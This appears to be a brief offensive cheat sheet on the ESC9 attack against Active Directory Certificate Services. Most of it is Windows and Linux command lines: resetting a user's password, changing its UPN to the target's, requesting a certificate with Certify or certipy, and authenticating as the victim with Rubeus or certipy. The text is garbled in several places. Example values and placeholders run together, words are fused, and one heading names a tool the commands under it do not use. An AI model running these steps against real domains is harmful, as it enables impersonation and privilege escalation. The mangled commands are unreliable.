ESC9
To exploit ESC9, ensure the StrongCertificateBindingEnforcement
key is not set to 2
or includes the UPN flag, the template has CT_FLAG_NO_SECURITY_EXTENSION
, specifies client authentication, and the attacker has GenericWrite
privilege on account A to compromise account B.
Windows
user2User's Password Reset
PS /home/bobbuilder> Set-DomainUserPassword -Identity user2<account_name> -AccountPassword $((ConvertTo-SecureString 'Newpassword123!'<new_password> -AsPlainText -Force))
-Verbose
Change user2the user UPN to matchthe user3target's UPN
PS /home/bobbuilder> Set-DomainObject user2<account_name> -Set @{'userPrincipalName'='user3@minions.<target_name>@minions.com'} -Verbose
Request aas Certificatethe using ESC9 and alternative SAN user3user
PS /home/bobbuilder> .\Certify.exe request /ca:<ca> /template:<template_name> /altname:user3<target_name>
Convert certificate to PFX
Retrieving athe TGT asof user3the victim
PS /home/bobbuilder> .\Rubeus.exe asktgt /user:user3<target_name> /certificate:user3.<target_name>.pfx /getcredentials /nowrap
Linux (Using Impacket's dackedit.py)
Get the NT hash of a user
bob$ certipy shadow auto -u user1@minions.com -p 'password1' -account <account_name>
Change the user UPN to the target's UPN
bob$ certipy account update -u user1@minions.com -p 'password1' -user <account_name> -upn <target_name>
Request vulnerable certipy as the user
bob$ certipy req <account_name> -hashes <account_hash> -ca <ca_name> -template <template_name>
Revert changes of the user
bob$ certipy account update -u user1@minions.com -p 'password1' -user <account_name> -upn <account_name>@minions.com
Authenticate as the target
bob$ certipy auth -pfx <target_name>.pfx -domain minions.com